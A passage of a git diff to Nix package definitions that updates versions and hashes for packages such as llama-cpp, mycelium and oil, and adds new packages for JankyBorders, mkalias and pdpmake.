-  version = "1.2401.21-jammy";
+  version = "1.2402.12-jammy";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/ubuntu/22.04/prod/pool/main/i/${pname}/${pname}_${version}_amd64.deb";
-    hash = "sha256-BIPTVhOBzaKzZR0WhQOX2W8kDg64UWOgIVvgaw2Gckc=";
+    hash = "sha256-S5+Ddm13OJ4eQTQ9Q8OgsCqnpM6GxuZ1hEycZCy6//g=";
   };
 
   nativeBuildInputs = [ dpkg ];
diff --git a/pkgs/by-name/ja/jankyborders/package.nix b/pkgs/by-name/ja/jankyborders/package.nix
new file mode 100644
index 000000000000..51ce3ded630e
--- /dev/null
+++ b/pkgs/by-name/ja/jankyborders/package.nix
@@ -0,0 +1,58 @@
+{ lib
+, fetchFromGitHub
+, pkg-config
+, pkgs
+, overrideSDK
+, darwin
+, testers
+}:
+let
+  stdenv = overrideSDK pkgs.stdenv "11.0";
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "JankyBorders";
+  version = "1.6.0";
+
+  src = fetchFromGitHub {
+    owner = "FelixKratz";
+    repo = "JankyBorders";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-DX1d228UCOI+JU+RxenhiGyn3AiqpsGe0aCtr091szs=";
+  };
+
+  nativeBuildInputs = [
+    pkg-config
+  ];
+
+  buildInputs = with darwin.apple_sdk.frameworks; [
+    AppKit
+    ApplicationServices
+    CoreFoundation
+    CoreGraphics
+    SkyLight
+  ];
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p $out/bin
+    cp ./bin/borders $out/bin/borders
+
+    runHook postInstall
+  '';
+
+  passthru.tests.version = testers.testVersion {
+    package = finalAttrs.finalPackage;
+    version = "borders-v${finalAttrs.version}";
+  };
+
+  meta = {
+    description = "JankyBorders is a lightweight tool designed to add colored borders to user windows on macOS 14.0+";
+    longDescription = "It enhances the user experience by visually highlighting the currently focused window without relying on the accessibility API, thereby being faster than comparable tools.";
+    homepage = "https://github.com/FelixKratz/JankyBorders";
+    license = lib.licenses.gpl3;
+    mainProgram = "borders";
+    maintainers = with lib.maintainers; [ khaneliman ];
+    platforms = lib.platforms.darwin;
+  };
+})
diff --git a/pkgs/by-name/ku/kubectl-validate/package.nix b/pkgs/by-name/ku/kubectl-validate/package.nix
index 13ca4998c58d..f01b05b18b21 100644
--- a/pkgs/by-name/ku/kubectl-validate/package.nix
+++ b/pkgs/by-name/ku/kubectl-validate/package.nix
@@ -4,7 +4,7 @@
 , nix-update-script
 }:
 let
-  version = "0.0.1";
+  version = "0.0.3";
 in
 buildGoModule {
   inherit version;
@@ -14,7 +14,7 @@ buildGoModule {
     owner = "kubernetes-sigs";
     repo = "kubectl-validate";
     rev = "v${version}";
-    hash = "sha256-0lwN+3Cy7O9kX9dh8PjxmvdyKSZhBxcxy+b+ZtuDZaw=";
+    hash = "sha256-k2+2QIPjNw6C/Do1WhPN39VZhZX4PZ6ZsKDKGJ9E5QA=";
   };
 
   vendorHash = null;
diff --git a/pkgs/by-name/la/labwc-menu-generator/package.nix b/pkgs/by-name/la/labwc-menu-generator/package.nix
index c14e3065b722..1d84dbd4eeb9 100644
--- a/pkgs/by-name/la/labwc-menu-generator/package.nix
+++ b/pkgs/by-name/la/labwc-menu-generator/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "labwc-menu-generator";
-  version = "unstable-2024-03-11";
+  version = "unstable-2024-03-12";
 
   src = fetchFromGitHub {
     owner = "labwc";
     repo = "labwc-menu-generator";
-    rev = "38d08a6695fe9d3176059dc5c57a9c84f9ef4981";
-    hash = "sha256-wB5+VmtxjuWbeuDdtGt0f9u7bc3j1Bb6r5MfmMsmE0M=";
+    rev = "85a014db7214103c14c2bfbb5fc09a349ad64992";
+    hash = "sha256-nt/K00cr1dKEk547J/6w1j6O3WSgGqVt1+Jdw95K28s=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ll/llama-cpp/package.nix b/pkgs/by-name/ll/llama-cpp/package.nix
index b5b099750319..99410cfd81a9 100644
--- a/pkgs/by-name/ll/llama-cpp/package.nix
+++ b/pkgs/by-name/ll/llama-cpp/package.nix
@@ -69,13 +69,13 @@ let
 in
 effectiveStdenv.mkDerivation (finalAttrs: {
   pname = "llama-cpp";
-  version = "2382";
+  version = "2424";
 
   src = fetchFromGitHub {
     owner = "ggerganov";
     repo = "llama.cpp";
     rev = "refs/tags/b${finalAttrs.version}";
-    hash = "sha256-VIh9StxfZrweOh6IU2MDJRFVu7TelngHGw7enSx5tL4=";
+    hash = "sha256-nzO6qL7X8PwGgy3fZAwQHoPBWLXorWf9kBeEWZCm1ZM=";
   };
 
   postPatch = ''
diff --git a/pkgs/by-name/lu/lutgen/package.nix b/pkgs/by-name/lu/lutgen/package.nix
index c74896b88ac8..78779051349e 100644
--- a/pkgs/by-name/lu/lutgen/package.nix
+++ b/pkgs/by-name/lu/lutgen/package.nix
@@ -7,16 +7,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "lutgen";
-  version = "0.9.0";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "ozwaldorf";
     repo = "lutgen-rs";
     rev = "v${version}";
-    hash = "sha256-tKSPk0V11pnKFV4E08H4CUnjw9nAonTRI6W3mGipd9I=";
+    hash = "sha256-O2995+DLiCRDM/+oPTOBiM0L1x0jmbLTlR48+5IfOQw=";
   };
 
-  cargoHash = "sha256-DiorrgTH9lIdmaZL7451uCXj9X7M6eHf4MQc85MpU7s=";
+  cargoHash = "sha256-ys4c/YUJJikDEUJjzagZBB+kSy+EFf+PqQdK/h+3gWU=";
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/mk/mkalias/package.nix b/pkgs/by-name/mk/mkalias/package.nix
new file mode 100644
index 000000000000..507ce73827e8
--- /dev/null
+++ b/pkgs/by-name/mk/mkalias/package.nix
@@ -0,0 +1,43 @@
+{ lib
+, stdenv
+, fetchFromGitHub
+, cmake
+, darwin
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "mkalias";
+  version = "1.0.0";
+
+  src = fetchFromGitHub {
+    owner = "vs49688";
+    repo = "mkalias";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-L6bgCJ0fdiWmtlgTzDmTenTMP74UFUEqiDmE1+gg3zw=";
+  };
+
+  nativeBuildInputs = [
+    cmake
+  ];
+
+  buildInputs = [
+    darwin.apple_sdk.frameworks.Foundation
+  ];
+
+  installPhase = ''
+    runHook preInstall
+
+    install -D mkalias $out/bin/mkalias
+
+    runHook postInstall
+  '';
+
+  meta = {
+    description = "Quick'n'dirty tool to make APFS aliases";
+    homepage = "https://github.com/vs49688/mkalias";
+    license = lib.licenses.mit;
+    mainProgram = "mkalias";
+    maintainers = with lib.maintainers; [ zane emilytrau ];
+    platforms = lib.platforms.darwin;
+  };
+})
diff --git a/pkgs/by-name/my/mycelium/Cargo.lock b/pkgs/by-name/my/mycelium/Cargo.lock
index 8979931acce8..311901f8a242 100644
--- a/pkgs/by-name/my/mycelium/Cargo.lock
+++ b/pkgs/by-name/my/mycelium/Cargo.lock
@@ -146,18 +146,19 @@ checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
 
 [[package]]
 name = "axum"
-version = "0.6.20"
+version = "0.7.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf"
+checksum = "1236b4b292f6c4d6dc34604bb5120d85c3fe1d1aa596bd5cc52ca054d13e7b9e"
 dependencies = [
  "async-trait",
  "axum-core",
- "bitflags 1.3.2",
  "bytes",
  "futures-util",
- "http",
- "http-body",
- "hyper",
+ "http 1.1.0",
+ "http-body 1.0.0",
+ "http-body-util",
+ "hyper 1.2.0",
+ "hyper-util",
  "itoa",
  "matchit",
  "memchr",
@@ -178,17 +179,20 @@ dependencies = [
 
 [[package]]
 name = "axum-core"
-version = "0.3.4"
+version = "0.4.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c"
+checksum = "a15c63fd72d41492dc4f497196f5da1fb04fb7529e631d73630d1b491e47a2e3"
 dependencies = [
  "async-trait",
  "bytes",
  "futures-util",
- "http",
- "http-body",
+ "http 1.1.0",
+ "http-body 1.0.0",
+ "http-body-util",
  "mime",
+ "pin-project-lite",
  "rustversion",
+ "sync_wrapper",
  "tower-layer",
  "tower-service",
 ]
@@ -311,6 +315,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 
 [[package]]
+name = "cfg_aliases"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
+
+[[package]]
 name = "cipher"
 version = "0.4.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -504,9 +514,9 @@ dependencies = [
 
 [[package]]
 name = "etherparse"
-version = "0.13.0"
+version = "0.14.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "827292ea592108849932ad8e30218f8b1f21c0dfd0696698a18b5d0aed62d990"
+checksum = "24890603eb4b43aa788f02261ce21714449033e3e2ab93692f0ab18480c3c9b1"
 dependencies = [
  "arrayvec",
 ]
@@ -691,7 +701,26 @@ dependencies = [
  "futures-core",
  "futures-sink",
  "futures-util",
- "http",
+ "http 0.2.11",
+ "indexmap",
+ "slab",
+ "tokio",
+ "tokio-util",
+ "tracing",
+]
+
+[[package]]
+name = "h2"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "31d030e59af851932b72ceebadf4a2b5986dba4c3b99dd2493f8273a0f151943"
+dependencies = [
+ "bytes",
+ "fnv",
+ "futures-core",
+ "futures-sink",
+ "futures-util",
+ "http 1.1.0",
  "indexmap",
  "slab",
  "tokio",
@@ -729,13 +758,47 @@ dependencies = [
 ]
 
 [[package]]
+name = "http"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258"
+dependencies = [
+ "bytes",
+ "fnv",
+ "itoa",
+]
+
+[[package]]
 name = "http-body"
 version = "0.4.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2"
 dependencies = [
  "bytes",
- "http",
+ "http 0.2.11",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "http-body"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1cac85db508abc24a2e48553ba12a996e87244a0395ce011e62b37158745d643"
+dependencies = [
+ "bytes",
+ "http 1.1.0",
+]
+
+[[package]]
+name = "http-body-util"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840"
+dependencies = [
+ "bytes",
+ "futures-util",
+ "http 1.1.0",
+ "http-body 1.0.0",
  "pin-project-lite",
 ]
 
@@ -767,9 +830,9 @@ dependencies = [
  "futures-channel",
  "futures-core",
  "futures-util",
- "h2",
- "http",
- "http-body",
+ "h2 0.3.24",
+ "http 0.2.11",
+ "http-body 0.4.6",
  "httparse",
  "httpdate",
  "itoa",
@@ -782,17 +845,39 @@ dependencies = [
 ]
 
 [[package]]
-name = "hyper-rustls"
-version = "0.24.2"
+name = "hyper"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590"
+checksum = "186548d73ac615b32a73aafe38fb4f56c0d340e110e5a200bcadbaf2e199263a"
 dependencies = [
+ "bytes",
+ "futures-channel",
  "futures-util",
- "http",
- "hyper",
- "rustls",
+ "h2 0.4.2",
+ "http 1.1.0",
+ "http-body 1.0.0",
+ "httparse",
+ "httpdate",
+ "itoa",
+ "pin-project-lite",
+ "smallvec",
+ "tokio",
+]
+
+[[package]]
+name = "hyper-util"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ca38ef113da30126bbff9cd1705f9273e15d45498615d138b0c20279ac7a76aa"
+dependencies = [
+ "bytes",
+ "futures-util",
+ "http 1.1.0",
+ "http-body 1.0.0",
+ "hyper 1.2.0",
+ "pin-project-lite",
+ "socket2",
  "tokio",
- "tokio-rustls",
 ]
 
 [[package]]
@@ -886,9 +971,9 @@ dependencies = [
 
 [[package]]
 name = "libc"
-version = "0.2.152"
+version = "0.2.153"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
+checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd"
 
 [[package]]
 name = "libloading"
@@ -908,9 +993,9 @@ checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c"
 
 [[package]]
 name = "log"
-version = "0.4.20"
+version = "0.4.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
+checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c"
 
 [[package]]
 name = "loom"
@@ -972,9 +1057,9 @@ dependencies = [
 
 [[package]]
 name = "mio"
-version = "0.8.10"
+version = "0.8.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09"
+checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
 dependencies = [
  "libc",
  "wasi",
@@ -983,7 +1068,7 @@ dependencies = [
 
 [[package]]
 name = "mycelium"
-version = "0.4.2"
+version = "0.4.3"
 dependencies = [
  "aes-gcm",
  "axum",
@@ -1002,7 +1087,7 @@ dependencies = [
  "libc",
  "log",
  "network-interface",
- "nix 0.27.1",
+ "nix 0.28.0",
  "pretty_env_logger",
  "quinn",
  "rand",
@@ -1119,6 +1204,18 @@ dependencies = [
  "bitflags 2.4.2",
  "cfg-if",
  "libc",
+]
+
+[[package]]
+name = "nix"
+version = "0.28.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
+dependencies = [
+ "bitflags 2.4.2",
+ "cfg-if",
+ "cfg_aliases",
+ "libc",
  "memoffset",
 ]
 
@@ -1360,9 +1457,9 @@ dependencies = [
 
 [[package]]
 name = "rcgen"
-version = "0.12.0"
+version = "0.12.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d918c80c5a4c7560db726763020bd16db179e4d5b828078842274a443addb5d"
+checksum = "48406db8ac1f3cbc7dcdb56ec355343817958a356ff430259bb07baf7607e1e1"
 dependencies = [
  "pem",
  "ring 0.17.7",
@@ -1425,11 +1522,10 @@ dependencies = [
  "encoding_rs",
  "futures-core",
  "futures-util",
- "h2",
- "http",
- "http-body",
- "hyper",
- "hyper-rustls",
+ "h2 0.3.24",
+ "http 0.2.11",
+ "http-body 0.4.6",
+ "hyper 0.14.28",
  "ipnet",
  "js-sys",
  "log",
@@ -1437,20 +1533,16 @@ dependencies = [
  "once_cell",
  "percent-encoding",
  "pin-project-lite",
- "rustls",
- "rustls-pemfile",
  "serde",
  "serde_json",
  "serde_urlencoded",
  "system-configuration",
  "tokio",
- "tokio-rustls",
  "tower-service",
  "url",
  "wasm-bindgen",
  "wasm-bindgen-futures",
  "web-sys",
- "webpki-roots",
  "winreg",
 ]
 
@@ -1541,22 +1633,12 @@ version = "0.21.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba"
 dependencies = [
- "log",
  "ring 0.17.7",
  "rustls-webpki",
  "sct",
 ]
 
 [[package]]
-name = "rustls-pemfile"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c"
-dependencies = [
- "base64",
-]
-
-[[package]]
 name = "rustls-webpki"
 version = "0.101.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1602,18 +1684,18 @@ checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0"
 
 [[package]]
 name = "serde"
-version = "1.0.195"
+version = "1.0.197"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02"
+checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.195"
+version = "1.0.197"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c"
+checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -1622,9 +1704,9 @@ dependencies = [
 
 [[package]]
 name = "serde_json"
-version = "1.0.111"
+version = "1.0.114"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4"
+checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0"
 dependencies = [
  "itoa",
  "ryu",
@@ -1880,16 +1962,6 @@ dependencies = [
 ]
 
 [[package]]
-name = "tokio-rustls"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081"
-dependencies = [
- "rustls",
- "tokio",
-]
-
-[[package]]
 name = "tokio-stream"
 version = "0.1.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1929,9 +2001,9 @@ dependencies = [
 
 [[package]]
 name = "toml"
-version = "0.7.8"
+version = "0.8.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257"
+checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290"
 dependencies = [
  "serde",
  "serde_spanned",
@@ -1950,9 +2022,9 @@ dependencies = [
 
 [[package]]
 name = "toml_edit"
-version = "0.19.15"
+version = "0.22.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"
+checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6"
 dependencies = [
  "indexmap",
  "serde",
@@ -2242,12 +2314,6 @@ dependencies = [
 ]
 
 [[package]]
-name = "webpki-roots"
-version = "0.25.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10"
-
-[[package]]
 name = "winapi"
 version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -2459,9 +2525,9 @@ checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"
 
 [[package]]
 name = "winnow"
-version = "0.5.34"
+version = "0.6.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b7cf47b659b318dccbd69cc4797a39ae128f533dce7902a1096044d1967b9c16"
+checksum = "dffa400e67ed5a4dd237983829e66475f0a4a26938c4b04c21baede6262215b8"
 dependencies = [
  "memchr",
 ]
@@ -2504,9 +2570,9 @@ dependencies = [
 
 [[package]]
 name = "x25519-dalek"
-version = "2.0.0"
+version = "2.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96"
+checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277"
 dependencies = [
  "curve25519-dalek",
  "rand_core",
diff --git a/pkgs/by-name/my/mycelium/package.nix b/pkgs/by-name/my/mycelium/package.nix
index d5b66705d15a..b3aee2f9ff3e 100644
--- a/pkgs/by-name/my/mycelium/package.nix
+++ b/pkgs/by-name/my/mycelium/package.nix
@@ -7,13 +7,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "mycelium";
-  version = "0.4.2";
+  version = "0.4.3";
 
   src = fetchFromGitHub {
     owner = "threefoldtech";
     repo = "mycelium";
     rev = "v${version}";
-    hash = "sha256-VWrWg9UpBSug0cvY/zuzGFI6Y0CRFcrh1Cy4mbYtg9Q=";
+    hash = "sha256-bA3ci+vqXBCPBaxMvfUdFcqdaZbAw/+r5UbH/as/fnc=";
   };
 
   cargoLock = {
@@ -33,7 +33,7 @@ rustPlatform.buildRustPackage rec {
     homepage = "https://github.com/threefoldtech/mycelium";
     changelog = "https://github.com/threefoldtech/mycelium/blob/${src.rev}/CHANGELOG.md";
     license = licenses.asl20;
-    maintainers = with maintainers; [ matthewcroughan ];
+    maintainers = with maintainers; [ flokli matthewcroughan ];
     mainProgram = "mycelium";
   };
 }
diff --git a/pkgs/by-name/na/namespace-cli/package.nix b/pkgs/by-name/na/namespace-cli/package.nix
index 889311564e2f..d74a257db533 100644
--- a/pkgs/by-name/na/namespace-cli/package.nix
+++ b/pkgs/by-name/na/namespace-cli/package.nix
@@ -5,13 +5,13 @@
 
 buildGoModule rec {
   pname = "namespace-cli";
-  version = "0.0.348";
+  version = "0.0.350";
 
   src = fetchFromGitHub {
     owner = "namespacelabs";
     repo = "foundation";
     rev = "v${version}";
-    hash = "sha256-SEqiW3AdhvsIU9WEEcaRi8paMNgRvnZTFL874mSjUQE=";
+    hash = "sha256-qMtmB/KMMkMfU2AyE2pcjiy3wUwyQUpcP6rMkZk3SMI=";
   };
 
   vendorHash = "sha256-a/e+xPOD9BDSlKknmfcX2tTMyIUrzKxqtUpFXcFIDSE=";
diff --git a/pkgs/by-name/oi/oil/package.nix b/pkgs/by-name/oi/oil/package.nix
index 58e52dac3f0d..c6ba73d1ef8e 100644
--- a/pkgs/by-name/oi/oil/package.nix
+++ b/pkgs/by-name/oi/oil/package.nix
@@ -7,40 +7,24 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "oil";
-  version = "0.20.0";
+  version = "0.21.0";
 
   src = fetchurl {
-    url = "https://www.oilshell.org/download/oils-for-unix-${version}.tar.gz";
-    hash = "sha256-d4BIRj8bPyd7awZyJPlZYBwr+o82IKGh4y4/urOYOxc=";
+    url = "https://www.oilshell.org/download/oil-${version}.tar.xz";
+    hash = "sha256-eoImAByJFtAEaPYn02XerR/0+dXO8IdhnTEDCMKmlJI=";
   };
 
   postPatch = ''
-    patchShebangs _build
+    patchShebangs build
   '';
 
   preInstall = ''
     mkdir -p $out/bin
   '';
 
-  buildPhase = ''
-    runHook preBuild
-
-    _build/oils.sh
-
-    runHook postBuild
-  '';
-
-  installPhase = ''
-    runHook preInstall
-
-    ./install
-
-    runHook postInstall
-  '';
-
   strictDeps = true;
   buildInputs = lib.optional withReadline readline;
-  # As of 0.19.0 the build generates an error on MacOS (using clang version 16.0.6 in the builder),
+  # As of 0.20.0 the build generates an error on MacOS (using clang version 16.0.6 in the builder),
   # whereas running it outside of Nix with clang version 15.0.0 generates just a warning. The shell seems to
   # work just fine though, so we disable the error here.
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
@@ -55,7 +39,7 @@ stdenv.mkDerivation rec {
   dontStrip = true;
 
   meta = {
-    description = "A new unix shell";
+    description = "A new unix shell - Python version";
     homepage = "https://www.oilshell.org/";
 
     license = with lib.licenses; [
@@ -64,7 +48,7 @@ stdenv.mkDerivation rec {
     ];
 
     platforms = lib.platforms.all;
-    maintainers = with lib.maintainers; [ lheckemann alva mkg20001 ];
+    maintainers = with lib.maintainers; [ lheckemann alva melkor333 ];
     changelog = "https://www.oilshell.org/release/${version}/changelog.html";
   };
 
diff --git a/pkgs/by-name/oi/oil-python/package.nix b/pkgs/by-name/oi/oils-for-unix/package.nix
index 0c5cf044e09a..f477d66d8a07 100644
--- a/pkgs/by-name/oi/oil-python/package.nix
+++ b/pkgs/by-name/oi/oils-for-unix/package.nix
@@ -6,25 +6,41 @@ let
   };
 in
 stdenv.mkDerivation rec {
-  pname = "oil";
-  version = "0.20.0";
+  pname = "oils-for-unix";
+  version = "0.21.0";
 
   src = fetchurl {
-    url = "https://www.oilshell.org/download/oil-${version}.tar.xz";
-    hash = "sha256-QrhfUru6Sju44W8j/DlMQwK8/ZY48GfwHDfSPy7kSaA=";
+    url = "https://www.oilshell.org/download/oils-for-unix-${version}.tar.gz";
+    hash = "sha256-g8uEK68J9BsCHEvJGDgsKUmsuR1MvChEC9A00Y2sZU4=";
   };
 
   postPatch = ''
-    patchShebangs build
+    patchShebangs _build
   '';
 
   preInstall = ''
     mkdir -p $out/bin
   '';
 
+  buildPhase = ''
+    runHook preBuild
+
+    _build/oils.sh
+
+    runHook postBuild
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    ./install
+
+    runHook postInstall
+  '';
+
   strictDeps = true;
   buildInputs = lib.optional withReadline readline;
-  # As of 0.20.0 the build generates an error on MacOS (using clang version 16.0.6 in the builder),
+  # As of 0.19.0 the build generates an error on MacOS (using clang version 16.0.6 in the builder),
   # whereas running it outside of Nix with clang version 15.0.0 generates just a warning. The shell seems to
   # work just fine though, so we disable the error here.
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-error=incompatible-function-pointer-types";
@@ -39,16 +55,13 @@ stdenv.mkDerivation rec {
   dontStrip = true;
 
   meta = {
-    description = "A new unix shell - Old python build";
+    description = "A Unix shell with JSON-compatible structured data. It's our upgrade path from bash to a better language and runtime.";
     homepage = "https://www.oilshell.org/";
 
-    license = with lib.licenses; [
-      psfl # Includes a portion of the python interpreter and standard library
-      asl20 # Licence for Oil itself
-    ];
+    license = lib.licenses.asl20;
 
     platforms = lib.platforms.all;
-    maintainers = with lib.maintainers; [ lheckemann alva ];
+    maintainers = with lib.maintainers; [ lheckemann alva mkg20001 melkor333 ];
     changelog = "https://www.oilshell.org/release/${version}/changelog.html";
   };
 
diff --git a/pkgs/by-name/op/openapi-tui/package.nix b/pkgs/by-name/op/openapi-tui/package.nix
index e2c88c4f4efc..fdbc0b6cb1d3 100644
--- a/pkgs/by-name/op/openapi-tui/package.nix
+++ b/pkgs/by-name/op/openapi-tui/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "openapi-tui";
-  version = "0.4.0";
+  version = "0.5.0";
 
   src = fetchFromGitHub {
     owner = "zaghaghi";
     repo = "openapi-tui";
     rev = version;
-    hash = "sha256-7xkjlX3+/hdVN2PXoiXbouSoMLy0Qe8uMRlPHWJO5Ts=";
+    hash = "sha256-flxQ5+nLacQAkrxJafw9D3iXYTFpHcmTshEySmFJ0Cc=";
   };
 
-  cargoHash = "sha256-U8TOms8C7vV64OKKdJhMAoOha9s2lBqfBWU7pyZ0h/s=";
+  cargoHash = "sha256-vfEDbUrIXc498QnMJJlMGyTUDvlHgquB5GpWTe7yCvM=";
 
   meta = with lib; {
     description = "Terminal UI to list, browse and run APIs defined with openapi spec";
diff --git a/pkgs/by-name/pd/pdpmake/package.nix b/pkgs/by-name/pd/pdpmake/package.nix
new file mode 100644
index 000000000000..808de7bb755d
--- /dev/null
+++ b/pkgs/by-name/pd/pdpmake/package.nix
@@ -0,0 +1,29 @@
+{ lib, stdenv, fetchFromGitHub }:
+stdenv.mkDerivation rec {
+  pname = "pdpmake";
+  version = "1.4.1";
+
+  src = fetchFromGitHub {
+    owner = "rmyorston";
+    repo = "pdpmake";
+    rev = version;
+    hash = "sha256-N9MT+3nE8To0ktNTPT9tDHkKRrn4XsTYiTeYdBk9VtI=";
+  };
+
+  makeFlags = [ "PREFIX=$(out)" ];
+
+  doCheck = true;
+  checkTarget = "test";
+
+  enableParallelBuilding = true;
+
+  meta = with lib; {
+    homepage = "https://github.com/rmyorston/pdpmake";
+    description = "Public domain POSIX make";
+    license = licenses.unlicense;
+    maintainers = with maintainers; [ eownerdead ];
+    mainProgram = "pdpmake";
+    platforms = platforms.all;
+    badPlatforms = platforms.darwin; # Requires `uimensat`
+  };
+}
diff --git a/pkgs/by-name/pe/pest/composer.lock b/pkgs/by-name/pe/pest/composer.lock
index 5e69a011703b..b6d04a35b1e9 100644
--- a/pkgs/by-name/pe/pest/composer.lock
+++ b/pkgs/by-name/pe/pest/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "886ef4e19557e54720685cf5af4bfcba",
+    "content-hash": "3334c385a76e74a9e5a3cc6af8daed8e",
     "packages": [
         {
             "name": "brianium/paratest",
@@ -1437,16 +1437,16 @@
         },
         {
             "name": "phpunit/phpunit",
-            "version": "10.5.12",
+            "version": "10.5.13",
             "source": {
                 "type": "git",
